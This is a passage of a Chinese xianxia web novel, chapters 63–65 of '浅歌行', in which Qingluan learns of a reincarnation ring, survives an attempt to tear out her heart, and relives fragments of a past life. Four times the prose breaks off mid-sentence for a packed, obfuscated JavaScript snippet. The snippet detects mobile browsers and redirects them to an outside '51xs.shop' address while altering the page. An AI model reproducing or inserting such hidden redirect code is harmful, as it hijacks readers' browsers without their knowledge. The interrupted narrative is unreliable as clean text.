青鸾也在此时感觉到自指间传来的温热之意,她抬起左手,发现无名指上缓缓萦绕起一圈星尘。 好像是染了星光的破碎尘埃,朦胧而又闪耀,十分好看。 “炼制轮回之戒的人修为远比我高深,因此我所能映照出的轮回之戒只有其万分之一的光彩。”便连慕北辰也忍不住称赞:“的确是很漂亮的轮回之戒。” 注视着指间的那一圈星尘,青鸾感觉到自己逐渐平静下来,纷扰的思绪仍旧在她脑海中缠绕,但已不再像方才那般令人难以承受。 “轮回之戒封锁了亿万年的光阴,方才亿万年间的思绪一同涌入你的脑海,难怪你承受不住。”慕北辰解释道:“我们星域一族在宇宙中拥有强大的灵魂,强大到可以同时引渡生魂与亡灵。可以这么说,我们的灵魂永不湮灭,这世上没有任何人能够粉碎我们的灵魂,除非是我们自愿。” 他指了指青鸾手上的那枚轮回之戒:“世上能够毁灭我们灵魂的只有我们自己,这轮回之戒便是星域族人将自己的灵魂碾碎之后方能制成。不过即便有人愿意制作灵魂之戒,也鲜少有人会将自己的灵魂全部碾碎,无论如何总是会留下一部分自保的。” 说到这里,他犹疑了一下,似乎仍旧在为自己的发现而感到不可置信:“灵魂破碎的程度越大,轮回之戒的力量就越强。你手上的这枚灵魂之戒乃我那位族人碾碎了自己的全部灵魂制成,因此它才这般强大,能够护持你的灵魂亿万载光阴。” “那你可知道他是谁?”青鸾恍惚地问:“我什么也记不起来了,我不知道亿万年前到底发生了什么,竟让他用自己全部的灵魂制作这枚轮回之戒。” “你已在这亿万年的时光中轮回转世了无数次,自然什么也记不起来的。”慕北辰的声音很柔和,他安抚着青鸾: “譬如瑾瑜,她曾经施展了让自己的灵魂永世不得轮回的强大咒术,但哪怕是一个最普通的人,其灵魂也比世间的任何咒术都要强大,怎么可能被区区咒术禁锢永生永世。她无非是再也不能在你们此刻所处维度的空间中轮回转生,但并不代表她的灵魂不可以转生到其它维度其余空间。不过,转生之后的她便也不再是瑾瑜了,她会永远忘记自己在这个时空中所经历的一切,拥有一个全新的生命。” “而轮回之戒的作用除了护持佩戴者的灵魂,关键还在于能够封锁灵魂中无数次转世轮回的记忆, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13952396|144614||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 这样无论你如何转生,在你的灵魂深处那些记忆永远不会被轮回所磨灭,它们会在某一个时刻被唤醒,到那时你便会记起自己曾经是谁。”慕北辰轻轻地叹息一声:“赠予你轮回之戒的那个人,我想他其实是希望你不要忘记了他。” 青鸾感受着指间传来的灼热,越听越是迷茫:“那些记忆何时才能被唤醒?若是碾碎了自己的全部灵魂制作轮回之戒,后果会如何?” 慕北辰摇了摇头:“我只能回答你的第二个问题。记忆何时能够恢复,需要怎样的契机才能恢复,这并不好说。至于他为何会用自己全部的灵魂制作这枚轮回之戒,且后果会如何……” 沉吟许久,他才有些不确定地道:“按理说一个人的灵魂被全部碾碎,那么他无疑会灭亡,且没了灵魂的他从此再不能转世,便连如瑾瑜一般转生到其余维度的空间也不行。” 青鸾怔怔地听着,虽然她早已想不起来那个给她轮回之戒的人,但听到这里她仍旧心里一沉,难过得喘不过气来。 却又听他继续道:“不过制作这枚轮回之戒的人修为实在高深,我猜他恐怕已经到了超脱之境,达到这个境界的人灵魂不灭肉身不毁,就算他已将自己的灵魂全部碾碎,但他的气息仍旧留存于宇宙星河之间。可以这样说,这天地当中已无他,但这世间万物无一不是他。” 指间萦绕着的那一圈星尘一直在散发着温暖的光,当慕北辰说到世间万物无一不是他的时候,青鸾明显感觉到那一抹光芒变得愈加明亮。 无比熟悉的浅黄色光芒,熟悉到仿佛已经烙印进了她的灵魂里。 她现在十分确定,自己曾经在亿万年的光阴中无数次抚摸过它。 “我猜你们那时是遇见了十分棘手的危机,让他不得不用自己全部的灵魂制作轮回之戒来保护你。但我可以感应到,他一直不曾放弃求生的意志。他本人似乎是被困在了某个无法逃脱之地,一直在等待着你去寻找他。”慕北辰缓缓闭上眼睛,感受着同族通过星辰之力传递出来的讯息,然后再转告青鸾:“那是一个无比强大的法阵,或者说是一个由宇宙中最高等文明制作出来的陷阱,近乎是一个死局。你现在尚未恢复记忆,万不能着急。你已在轮回之戒的护持下安然度过了亿万年光阴,接下来还有亿万年的时光可以让你去寻到他。” 这太夸张了。 已经轮回转世了亿万年光阴。 还有亿万年的光阴在等着她。 “当然,你也可以放弃。”慕北辰的身影开始逐渐消失,由他的灵魂之力所凝聚出来的这片星域也就跟着消散,“我星域族人在赠予旁人轮回之戒时,往往会与对方签订契约。但我感受到你的这枚轮回之戒上并无契约的痕迹,因此你是自由的,你其实对他并没有什么必须肩负的责任,你完全可以跳脱循环,放弃寻找他。这是被他允许的。” “选择权在你自己手里。” 63. 浅歌行 星域已然消散,青鸾捧着自己的左手,怔怔然回到了忘忧与小蓝身边。 忘忧看着她这副失魂落魄的模样,担心贸贸然开口会惊到了她,于是抬起手搭上她的肩膀,一边沉默地安抚她,一边以目光向她询问。 过了好一会儿,直到小蓝嘤地一声跃上她的肩头,用脑袋蹭了蹭她的脸颊,她才恍然回过神来。 “我也不知道发生了什么,我似乎是……认识景星神君的一位族人。”她只能告知忘忧这么多,因为其余的信息便连她自己都还无法消化。 脑海中仍然游荡着纷繁的思绪,它们时隐时现,散发着朦胧的光晕,在青鸾努力想要抓住之时,又突然变得黯淡然后消失不见。 她始终抓不住记忆的碎片,尽管它们就在她的眼前。 这种感觉很令人挫败,她用力握住左手的无名指,重重叹了口气:“罢了,小蓝,我们回去吧。” 诚如慕北辰所说,她尚未恢复记忆,一切都是急不来的,还是不要为难自己了。 此间事已毕,是时候回青要山中休整几天,然后往东海去了。 忘忧知晓青鸾定是有自己的难处,便也就没有追问她在那片星海中到底发生了什么,还亲自送她与小蓝离开,一路送到了小华山脚下。 青鸾重新走过来时的路,却发现一路上的景象与她刚来小华山时大不一样。 初至小华山时她只觉得这座山灵气充沛,景致颇佳,足可与她居住的青要山相媲美。可惜此山太过荒芜,不见一点人烟,未免显得寂寞。 但在回去的路上,她却发现山中住满了人家,每隔几条路便有一处人烟密集之所,屋舍俨然,鸡犬相闻。甚至还有好几户人家专门种植着星草,一如她于历史河流中所见到的瑾瑜在时模样。 “这是?”她转头问走在旁边的忘忧。 忘忧掩嘴一笑:“对不住啦,我在这座山中布下了禁制,隐去了山中生灵居住生活的气息,保护他们在这里安居乐业,不为外人所扰。刚开始我对你并不信任,因此这道禁制并没有向你开放,此刻我已对你解除禁制,你如今所看到的才是真正的小华山。” “原来如此。”青鸾观察着生活在小华山中的那些人,看见他们每个人脸上都洋溢着笑容,一派安乐祥和的模样,于是对忘忧道:“你将他们照顾得真好,想必瑾瑜知道了也会感到欣慰。” “原本我每天都很焦虑,总担心自己修炼不足修为不够,若有一日强敌来犯,恐怕我不能护山中生灵周全。若真有那样一日,师父肯定会对我很失望。”忘忧看起来已全然解开心结,此刻的她不再像最开始那般紧绷,而是浑身都散发着松弛的气息:“但是现在我已经明白,原来师父一直希望我能逍遥自在、心无挂碍地修行。从前我看着在山中安居乐业的这些人,总是担心会有人来破坏眼前的这一份宁静,越想尽快突破,修为反而越是停滞不前。” “现在不一样了,我现在看着他们,只觉得温馨快乐。倘若总是为尚未到来之事感到忧虑,其实反而会蒙蔽了双眼,便也就看不到眼前的风光。”忘忧深深地吸了一口气,抬头望了一眼今天的好天气:“无论何时何地,好好活在当下才是最重要的。” 青鸾若有所思地听着,抚了抚自己无名指间原本萦绕着一圈星尘的位置,觉得忘忧的这一番话令她也有所感悟。 “恭喜你呀,忘忧。”行至山脚,青鸾停步与忘忧告别:“我现在也明白了,其实比起修为的突破,心境的成长才是最重要的。你不用再送啦,我们就此告别吧,山高水长,后会有期。” 忘忧点了点头,目送着青鸾离去,踮起脚尖不住地向她挥手:“后会有期呀!” 青鸾离开了小华山,却没有御风而行,而是沿着山脚的小路缓缓向前走着,一边走一边控制不住地回忆着在星域中发生的一切。 她再次抬起左手,注视着已然没有星尘环绕的无名指,即便绞尽脑汁地去想,也捕捉不到一丝与轮回之戒有关的记忆。 小蓝歪着脑袋关注着青鸾的举动,安安静静跟在青鸾身后走了半日,待行至一处无名山脉时,他突然停住脚步,警惕地环视着四周。 青鸾也感受到了周围的不寻常,有一股莫名的威压感正在朝她袭来,虽然无形无迹,但是令人感到无比窒息。 是领域。 她很快便反应过来,戒备地环顾四周。 来人尚未现身,便能散发出这样极具压迫感的气息,一定是一位拥有领域的神君。 而她目前所知道的拥有领域的神君,只有大言合虚神一个。 “好警觉的丫头。” 一道熟悉的声音自远处传来,青鸾在慕容雪的幻境以及瑾瑜所示的时光长河中都曾听见过这个声音。 果然是他。 大言合虚神——他怎么会在这里?又为何会专程来寻她? 青鸾疯狂梳理着自己所知道的关于这个后神的一切信息。 他曾经设计挑起空桑与青丘大战,只为了让拥有雪族血脉的慕容雪心甘情愿以精血供养归魂树。他还三番五次追杀瑾瑜,所为的便是夺取子玉,而子玉最为人所称道的便是他们精魂中所具有的强大生命力。 他是在搜集什么人的神魂,还想为那个人注入强大的生命力。 他或许是想要复活谁。 预言梦中,诛仙台上,那个封印着神女的水晶棺从青鸾脑海中一闪而过。 答案呼之欲出,大言合虚神同帝骁一样,觊觎她胸腔中正在跳动的心脏! 意识到这一点,她立马催动心火熊熊燃烧起来,金光自掌心浮现,她防备地抬手护住自己的心脏。与此同时一道白色光芒迅速地朝她心口袭来,堪堪被她以不灭之身挡住。 倘若她的动作慢了一步,那道白色光芒恐怕就要击穿她的胸膛再剜走她的心脏了。 似乎是没想到青鸾能未卜先知地挡下这一击,原本不屑于现身的大言合虚神自虚无空中浮现,望向青鸾的目光中多了几分认真的意味。 不入流的小妖而已,若非她那一颗心脏实在太过珍贵,他甚至 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13963977|144614||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 都懒得亲自来取。 却没想到她修为不高,也几乎没有过实战经验,却是如此敏锐,能够很快察觉到他的靠近,甚至能够迅速判断出他的来意,挡下他出其不意的一击。 他已经失去了获得子玉的机会,绝不能再让眼前之人逃脱,于是再出手时便尽是狠厉杀招,每一击都恨不得将青鸾挫骨扬灰。 后神的攻击绝非现在的青鸾可以抵挡的,因此她不能硬接,只能闪避。 可是大言合虚神显然打算速战速决,他所发出的攻势凌厉得密不透风,每一道攻势都在将她往死路上逼。 青鸾退无可退,只能祭出断神刃,为自己杀出一条生路来。 她不能死在那些觊觎她心脏的人手下。 她还不想死。 她绝不能死。 断神刃为她挡去了绝大部分攻击,可即便只是那些攻势的余威,也足以震碎她的五脏六腑。 内脏受损,她一口接一口地呕出血来。 青鸾的拼死抵抗令大言合虚神十分不快,他皱了皱眉,闭上眼微微屈起手指,以古语念诵出了一个神秘的诀。 “你若不抵抗,我本可以直接剜出你的心脏,让你少受些苦。”再睁眼时,他的眼眸中闪烁起一抹流光,神秘的图纹在他眸中浮现,引出一道强大的自然之力,瞬间天塌地陷,将青鸾压在了碎石堆中。 这一击显然伤到了青鸾的根本,她已无力驾驭断神刃,它在空中停滞了一秒,然后直直地朝地上坠落。 大言合虚神伸出手,隔着虚空拂开碎石,将青鸾从深坑中拎了起来。 她浑身是血,气息奄奄,如同一只受伤的小兽,又像是一件破碎的瓷器。 孱弱,渺小,如此不堪一击。 他将她拎起来,如同拎着一个什么不值钱的物件,就仿佛她本身并没有任何的价值,比这世间的一粒尘埃还要微不足道,可她偏偏长着一颗总是被强者觊觎的心脏,于是存在的唯一价值便成为了替他们暂时保管这颗心脏的容器。 人一旦过于弱小,即便是长在自己身体里的心脏,也会被旁人视为唾手可得之物。 他缓缓靠近她,将手生生没入她的胸膛,握住那颗仍在奋力跳动着的心脏。 “它比我想象中还要强大。”他的神色依然不变,语气里却多了几分欣喜:“还以为要将你带回合虚才能剜出心脏,现在看来它即便离开你的身体也能保持生机,我倒可以立时将它取走。” 青鸾的视线已有些模糊。 她身体中的每一寸骨头都已经断裂,便连五脏六腑都早已破碎,这一具肉身正承受着非人所能忍受的疼痛,便连大言合虚神都对此感到诧异,不明白她到底是依靠着怎样的意志力才没有晕死过去。 可是四肢百骸五脏六腑的一切痛苦都远远及不上她此刻正在经历的剜心之痛。 感受到心脏正一点一点地被剥离身体,她对着大言合虚神,突然说了一句:“这颗心脏上有一个人留给我的星痕印记,那是属于我的,你不能拿走它。” 64. 浅歌行 “你在说什么?”大言合虚神眯了眯眼睛,警惕地注意着青鸾的反应。 他现在已经意识到,即使是这样一只不入流的小妖怪,能够拥有如此强大的心脏,也绝非什么善类。 果然,便在她话音落地的下一秒,从她的心脏中忽而迸发出一股令他感到熟悉的力量。 这个力量强大而又纯净,分明散发着温和的气息,但在发出攻击时却又霸道无比。 它仿佛并不来自这个世界,而是跋涉了千山万水跨越宇宙中的漫天星河而来。 正是他连续两次在慕北辰和瑾瑜手上领教过的星辰之力。 眼前的区区小妖又是从哪里得到这股力量的? 修炼星辰之力的秘籍难道已经人手一份了么? 大言合虚神瞬间有些头大。 最令他感到难缠的是,青鸾心脏所迸发出来的这一股星辰之力远比之前那两人所使出的更为强大。 时间紧迫,倘若等到这股力量完全释放出来,他恐怕便无力剜走这颗心脏了。 原本他打算缓缓剥离心脏,担心使用蛮力硬取会不小心损毁了它,可是此刻也顾不得这么多了,他要赶在青鸾将星辰之力全部释放出来之前取出心脏,于是将全部的力量汇集到右手上,加快了取出它的速度。 却没有想到,那一股星辰之力只是在察觉到主人有危险时释放出了那试探性的一击,随后便不再继续攻击他,而是如散逸的星尘般轻轻包裹住青鸾的心脏。 像是在保护它,又像是在解除什么封印。 青鸾的意识已有些恍惚,她勉力支撑着最后一丝意识,让自己不要晕死过去,倘若在这时候失去意识,那么她将会成为任人宰杀与欺凌的猎物。 往昔记忆走马灯一般在眼前浮现,她能清晰地感觉到,自己的意识仿佛化为了实物,便如同小蓝曾经将时间化为了肉眼可见的丝线一般,她的意识也凝聚成了散发着微光的丝线。 它们在青鸾的眼前与心脏之间反复游走,好似在捕捉那些快速闪过的记忆碎片。 终于,方才她怎么也触碰不到的一缕残损记忆,在此刻生死攸关之际,被她意识所凝成的丝线牢牢绑住。 她猛地吸了一口气,整个人好像被一分为二。 一半的她仍在忍受着心脏被生生从体内剥离的痛苦,勉力维持着意识的清醒,另一半的她却被拽入了一个杀戮场中。 这片杀戮场的天空是猩红色的,上面挂着一轮晦暗的血月,弥漫着比修罗地狱还要浓烈的血气,黏稠的血从天空中倾泻而下,染红了整片大地。 她不知道脚下这片殷红的土地正流淌着何人的血,也许是她的,也许是背上之人的,也许是那些被她斩于剑下的亡魂的…… 她早已分辨不清。 她不记得自己斩灭了多少具亡灵,也不记得自己屠杀了多少的生魂,她只知道自己从杀戮场的最深处杀出,杀穿了整片峡谷,杀得锋利的剑刃上都挂满了粘腻得甩不掉的血,这才带着他一路杀到了这里来。 前方就是出口,她已经看到了希望。 可是这一方残酷的世界似乎并不打算让她触摸到那一个希望,无穷无尽的亡灵与生魂从身后追来,从地底钻出,甚至从空中落下。 它们只有一个任务,那就是阻止她带着背上的人离开这一个血腥之地。 那便继续杀吧。 杀到那些试图阻止她的存在全都灰飞烟灭为止。 亦或者,杀到她再也提不起手中沉重的剑为止。 杀戮场中风声四起,每一片风刃都袭卷着浓重的杀意,风中弥漫着极浓的血腥气息,它们涌入她的鼻腔,恶心得令她这样一个久经厮杀的人都忍不住作呕。 惨白的骷髅头和散发着绿光的幽魂却是越杀越多,鲜血从她的身上渗出,从她的脸上流下,她已经将自己杀成了一个血人,可她仿佛不会感到疼痛,也并不知道疲倦,仍旧挥舞着手中的剑御敌。 每一道剑气都足以横扫一片亡灵,可是下一秒又会有新的骷髅踩着它们的碎片从地底爬出。 无穷无尽的杀戮反而激发了她的战意,她已经没有力气去思考,发出的每一道攻击都是凭借着战斗的本能。 她的确是一个被精心培养出来的杀戮机器。 机器是永远都不会感到疲倦的,也能忍受身体乃至灵魂被撕裂的痛苦,最重要的是,他们已经被训练得磨灭了恐惧这一情绪。 恐惧是宇宙中所有生命具有的本能,这是一种自我保护意识。可是对于他们这些杀戮机器来说,自我保护意识是会让他们在战场上变得软弱的无用之物。 他们不需要自我保护。 从进入选拔营的那一刻起,她就已经不知道恐惧是何滋味了。 因此眼前的绝境不仅没有让她产生退缩之意,反而激发出了她无尽的杀意,此刻她红着眼杀得天昏地暗,教人分不清到底是这片修罗地狱困住了她,还是经她之手创造出了这样一片地狱。 便在这时,她感到背上的人轻轻动了一动,然后艰难地将头凑到她的耳边。 他虚弱地说了一句:“放我下来吧。” 他的气息逐渐变得微弱,最后一点点消散,他趴在她的背上,慢慢失去温度。 她似乎听到他叹息了一声,一滴泪落在她的脖颈上,是她从未感受过的灼热滚烫。 “辛苦你了。” 这是他对她说的最后一句话。 她突然感到一阵浓烈的悲伤,这种陌生的情绪瞬间填满了她的胸膛,难过得让她喘不过气来,手中挥出的剑也偏了方向。 便是这片刻的分神,让她毫无防备地将弱点暴露在敌人面前,无穷无尽的白骨与幽魂蜂拥而上,瞬间将她吞没。 【第九百九十九次试炼结束,未能成功解救人质,您已失败。】 【欢迎下次挑战。】 虚拟试验场中的她与人质均已死亡,这便意味着挑战失败。 离开虚拟试验场,她回到现实之中。 静默地注视着眼前浮现出的挑战失败的字眼,她感到一阵头痛欲裂。 刚才在试验场中所感受到的那一股悲伤仍在她的心中横冲直撞,她不明白自己为什么会突然生出这样的情绪。 这明明只是一场试炼,她究竟为什么会感到如此悲伤? 更令她不解的是, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13992975|144614||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 试炼场中所虚拟出来的那个人质,他在最后似乎是…… 流了一滴泪? 这怎么可能。 她抬手抚上自己的脖颈,刚才所感受到的灼热滚烫已不复存在,此刻她只触摸到一片冰凉。 分明只是试验场中的一堆数据,他怎么可能拥有人的意识。 太阳穴突突地跳动着,她恍惚觉得那个人质她似乎是认识的。 并不是在虚拟试验场中无数次带着他奔逃出来的那种熟悉,而是曾和他在现实世界中无数次产生交集的一种感觉。 怎会如此? 不可能的。 她从记事起便开始在亡灵大陆厮杀,直到被死亡女神选中,进入到训练营中,从此开始新一轮的厮杀与角逐。 她从未离开过这里,她的脑海里也从未有过与那人相识的记忆。 记忆…… 突然,她意识到了什么,抬起右手抚向自己的太阳穴。 在她意识到不对的一瞬间,整片空间开始崩塌,一股强大的力量阻止着她手上的动作。 可她的精神力远比这个空间的主人还要强大,它阻止不了她。 是了,她想起来了,她早已通过了训练营的试炼,被选入了死亡女神的亲卫队中,眼前的一切都只是一个意图将她困在此处的陷阱。 这处陷阱篡改了她的记忆。 她同时也想起了他,那个所谓虚拟试炼场中的人质。 她的确是认识他的,他不是什么虚拟出来的数据,而是那个赠予她轮回之戒的人。 …… 亿万年前的记忆在此刻终结,这毕竟只是一段记忆碎片,被拽入到往昔记忆中的青鸾坠向黑暗,她还是无法忆起他。 那个以碾碎自己全部灵魂为代价赠予她轮回之戒的人,究竟是谁? 一半意识在虚无的记忆碎片中继续坠落,另一半意识则仍在忍受着心脏被剥离的痛苦。 青鸾想要挣脱,却被大言合虚神擒在空中动弹不得。 突然,地上的断神刃似乎感受到主人正面临着致命的威胁,它竟凭借着帝宣封印在其中的灵魂之力自行攻击,笔直朝大言合虚神眉心刺去。 眼看着心脏即将被彻底剥离出青鸾的身体,他自然不愿前功尽弃,可是那携带着灵魂之力攻击的断神刃又不得不防,他只好分出心神,抬起另一只手去抵挡。 两道磅礴的神力碰撞在一起,大言合虚神被击得往后退了好几步,竟无法再分神擒住青鸾,松了右手将她从空中扔下,全力对付眼前这柄已没有主人控制的匕首。 他第一眼便知晓这柄匕首并非凡物,想是某位神君曾经封印了一丝灵魂之力的灵物,可他没有想到制作这柄匕首的人竟如此强大,即便里面只有一丝灵魂之力,却还是能使出那位神君三四成的神力。 这三四成的神力已足以与他抗衡,倘若那位神君亲至,此刻有伤在身的他恐怕不是他的对手。 比帝骁还要强大的神君,会是谁? 难道是帝师路之遥? 大言合虚神蹙眉望向倒在地上的青鸾。 这小妖怪又是怎么跟帝师路之遥攀上关系的? 65. 浅歌行 因着没有主人控制,断神刃并不能使出什么招式,它只是单纯地依靠着帝宣封印在其中的灵魂之力,以磅礴神力与大言合虚神硬碰硬。 继续僵持下去不是办法,大言合虚神没有想到自己竟会被逼到这一步,形势所迫,他不得不使出领域。 在这个属于他的领域中,他对周遭的自然之力拥有绝对的掌控权,尽管只能掌控这一片有限区域内的自然之力,且这些自然之力并不精纯,但也足够对付仅有一缕灵魂之力的断神刃了。 原本晴朗的天空被黑云所遮蔽,大言合虚神立于这一片黯淡无光的空间里,双手再次化为一双巨爪,利用自然之力隔空撕扯着断神刃。 只听得匕首发出一声嗡鸣,随后便被他徒手扯碎,碾为粉末从空中落下。 断神刃已毁,封印其中的那一缕残魂便也就悠悠散去。 大言合虚神冷冷地注视着躺在地上痛苦抽搐的青鸾,抬步向她走去。 与此同时,青鸾的另一半意识又在不断交替闪烁着往昔画面的识海中抓住了一个记忆碎片。 于是她的意识不再向黑暗的虚空中坠落,而是随着那一抹记忆,来到了一个充满烟火气息的热闹集市里。 她有些茫然地望着眼前的景象。 牛首人身的大婶正在吆喝着卖她蒸笼里的包子,那些热气腾腾的包子闻着倒是香得很。 每隔几步便有毛茸茸的动物在街边热情地揽客,邀请路人进酒楼品一品他们的新菜式。 这是一个明显开在妖精们的领地中的集市,却时不时有一些人族小孩嬉笑打闹着跑过。 眼前这些景象温馨和睦,看起来大家都在和平相处。 心里涌上一股暖意,她有些诧异地抚上自己胸口,惊觉她的心脏正在有力地跳动着。 自从成为死亡女神的亲卫后,她原先的心脏便被取出,换上了一颗以死灵咒术催动的替代之物,它不会跳动,也没有温度,只会冰冷机械地为她提供生命能量。 思想,感情,包括胸膛里跳动的心脏,这些全都是脆弱之物,是他们的破绽与漏洞。 作为女神的亲卫,在百万场战斗中厮杀出来的战士,他们不需要这些脆弱之物。 她长久地立在原地,感受着胸膛中这久违的温度。 “怎么了?不舒服吗?” 身侧突然传来一个声音,清冽而又温和,像春日里融化的雪。 她惊了一下,蓦然回头。 今日的阳光太盛,她抬首去望站在她身侧的人,却不小心被阳光晃了眼睛。 于是他整个人都被笼罩在刺目的光芒里,她只能模模糊糊看见一个剪影。 “是你说今天日头好,想要出来走走,这时候可不许打退堂鼓。” 他的声音里带有笑意,还有她从来不曾听到过的宠溺。 “我已经安排好我们今日的行程了,剪水阁排了一出新戏,名叫《旱魃记》,我猜是你喜欢看的,昨日我便去抢好座席票了,我们今天上午就去看新戏。” 分明他离得这样近,可是她总觉得他的声音似乎离她越来越远。 “看完戏后,我带你去吃甜点喝饮子,就吃炊烟记的冰雪冷圆子和半盏浮雪好不好?知道你是最怕热的,这两样茶饮又甜又清凉,你肯定喜欢。” 他牵起她的手,两人肌肤触碰的一瞬间,她轻轻颤抖了一下。 他的手好凉呀,她在心里想。 “对了,你不是早就想养一只灵兽么?我相看好了一只尺玉和一只黄狸,下午我领你过去瞧瞧,你看你喜欢哪一只,我们带回去养。” 停顿了一下,他犹豫着道:“你若是将两只都看上了,那也可以两只一起养。但是先说好了,这两只灵兽你来打理,我可是不会管的,到时候你别嫌辛苦。对了还有,它们不许进正房,这是我最后的底线……” 虽然看不真切他的模样,但她知道他一边说一边在打量她的神色,若她稍微流露出一点不满之意,他恐怕就会将他口中最后的底线再往后挪一挪。 “夏天正是星草开得最好的时候,等到晚上我们就可以回去在星草林里摆一张桌子,对着月色饮酒吃肉,做什么菜我都想好了,我新学了一道菜肴很是新奇,叫做琥珀蜜肉……” 他们牵着手站在熙熙攘攘的集市中,与周围认真生活的平常人似乎没什么两样。 阳光每一天都会照常升起,想见的那个人日日都能相见。 这再寻常不过的凡俗快乐,于她而言却是美好得不真实。 她很想放纵自己沉溺在这里,可最终她还是挣扎着开了口:“刚才我是在想,曾经我的心脏不会像现在这样跳动,我的双眼也在一场战斗中被剜去,是死亡女神为我换上了以死灵咒催动的晶体,又为我如法炮制了一双眼睛。过去的我活得像个机器,像个傀儡,唯独不像个人。后来,是你为我换回了现在这颗心脏,又为我去往宇宙最边陲之地寻到一双琉璃眼睛。” 他抬手抚上她的脸颊,轻轻摩挲,好像在认真地呵护一件珍宝:“宇宙有无尽星海,人间有四季轮转,你说你想去看,所以我带你来了。现在的你不是谁的傀儡,你自由了,你只属于你自己。” “我真的自由了吗?”她注视着他,努力想要从刺眼的光晕中瞧清楚他的模样。 “当然,你一直是自由的,你可以遵循自己的本心做出一切选择。”他的眼中有笑意,尽管她看不真切,但是那一抹笑意好像穿越了亿万年的光阴而来,温柔清澈,却又风尘仆仆。 “我要离开这里了。”她一字一句道:“我又失败了,对吗?” 他怔了一怔。 时间在这一刻静止,方才还喧闹无比的集市瞬间变得寂静,所有的人都被定格在了这一刻,他们像木头一般立在原地,保持着上一秒的姿势,再没有一丝活人气息。 这不过是一个幻境而已。 以她内心最渴望的一切编织出来的一场大梦。 她双手掩面,哭得伤心:“对不起,对不起,我尝试了无数次,可每一次都是失败。我不能留在这里,你还在等我,你已经等了我好久好久……” 面前的人沉默了许久,最终他将她掩在面上的手拿开,为她拭去眼泪。 “我说过,你是自由的。” 周围的一切开始如烟消散,包括正在为她拭泪的他。 “再见了,阿九。” 被意识所包裹住的记忆碎片,在幻境崩塌的这一刻戛然而止。 青鸾无法继续探知那一段过往,但她可以猜到,在离开幻境之后,她应当是再一次踏上了寻找他的路。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14023904|144614||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 意识又开始往黑暗的虚无中坠落。 她觉得自己已经处在崩溃的边缘。 亿万年遍寻不得的委屈在这一刻都化为了愤怒,这些愤怒点燃了她想要毁灭一切的欲望。 这种感觉太熟悉了。 不顾一切的毁灭欲,亲手将一切美好都撕碎的痛快感,这些最为肮脏也最为不堪的东西组成了她。 万丈深渊中极致的黑暗,这才是她本身。 她原本就是这个样子的。 那就继续往虚无深处坠落吧,她的灵魂从黑暗中汲取着力量。 大言合虚神自然对她意识深处正在发生的这一切浑然不觉,他其实也感受到了一丝危险的气息,但是无论如何也无法相信这一丝危险气息会来自躺在地上连呼吸都变得困难的青鸾。 她快要死了。 要赶紧从她体内取出心脏。 只是不知道倘若她死了,这颗强大的心脏会不会继续跳动。 他这样想着,再一次将手伸向她的胸膛。 便在这时,一阵急促的铃铛声响起,随后一道类似魂体的蓝色身影挡在了青鸾面前。 竟是小蓝经过一段时间的蓄力,强迫自己生魂出体,替她挡下了大言合虚神的攻击。 青鸾趴在地上,艰难地抬起头注视着挡在她面前的人。 眼前这道蓝色身影与那个预知梦中的身影重叠在一起,他们在不同的时间,面对不同的人,以同样的姿势守护着她。 她怎么也没有想到,那个人竟然就是小蓝。 “一个受过重伤至今也没有恢复的残损生魂,你以为自己挡得住我么?”大言合虚神为了取这颗心脏费了不少心神,本想速战速决,却接二连三被阻挠,此刻已有些恼了:“再敢阻我,我要你神魂俱灭!” 他拂袖搅动着领域中的风云,再次将手化为巨爪,携雷霆之威朝小蓝攻去。 小蓝一如青鸾预知梦中那般,决绝地迎了上去,意欲以一己之身替她挡住片刻攻击。 九重天宫亘古寂寥的长夜,从悠远时空中传来的声声鲸鸣,诛仙台上被帝骁以神力养着的水晶棺…… 一幅幅画面涌入青鸾的脑海,最后她将目光定格在记忆中帝骁的脸上。 他从来冰冷的脸庞在面对水晶棺中的那个神女之时,会浮现出些许朦胧的温柔之色。 他对她说,她拥有一颗无比强大的心脏,而那样好的一颗心脏,她用不着。 她忍不住笑出声来。 